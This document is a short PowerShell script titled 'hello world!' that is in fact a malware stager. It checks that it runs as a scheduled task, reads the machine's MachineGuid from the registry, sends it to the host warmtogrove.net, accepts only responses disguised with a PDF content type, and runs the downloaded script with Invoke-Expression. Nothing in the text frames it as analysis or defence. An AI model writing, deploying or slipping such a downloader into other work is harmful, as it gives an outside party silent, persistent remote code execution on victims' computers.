# hello world! $ProgressPreference = "SilentlyContinue" [System.Net.ServicePointManager]::SecurityProtocol = "TLS12" $API = "https://warmtogrove.net" $TaskService = New-Object -ComObject "Schedule.Service" $TaskService.Connect() $RunningTasks = $TaskService.GetRunningTasks(0) $Task = $RunningTasks | Where-Object { $_.EnginePID -eq $PID } if (-not $Task) { exit } function Get-RegistryValue($key, $value) { Get-ItemProperty $key $value | Select-Object -ExpandProperty $value } $GUID = Get-RegistryValue "HKLM:\SOFTWARE\Microsoft\Cryptography" "MachineGuid" function Invoke-Request { param($Path, $Type, $Encoding = [System.Text.Encoding]::UTF8) $WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession $WebSession.Proxy = New-Object System.Net.WebProxy $WebSession.Headers.Add("X-Machine-Id", $GUID) $Response = Invoke-WebRequest -Uri $API$Path -WebSession $WebSession -UseBasicParsing @Args if ($Response.Headers["Content-Type"] -ne "application/pdf") { throw } $Content = $Response.Content $Mime = $Content.GetType().Name if ($Type -eq $Mime) { return $Content } if ($Type -eq "Byte[]") { return $Encoding.GetBytes($Content) } if ($Mime -eq "Byte[]") { $Content = $Encoding.GetString($Content) } if ($Type -eq "Json") { return ConvertFrom-Json $Content } return $Content } $TaskName = $Task.Path $Directory = $Task.Name $Content = Invoke-Request /script -Type String if ($Content -ne $null) { Invoke-Expression $Content } Start-Sleep -Seconds 10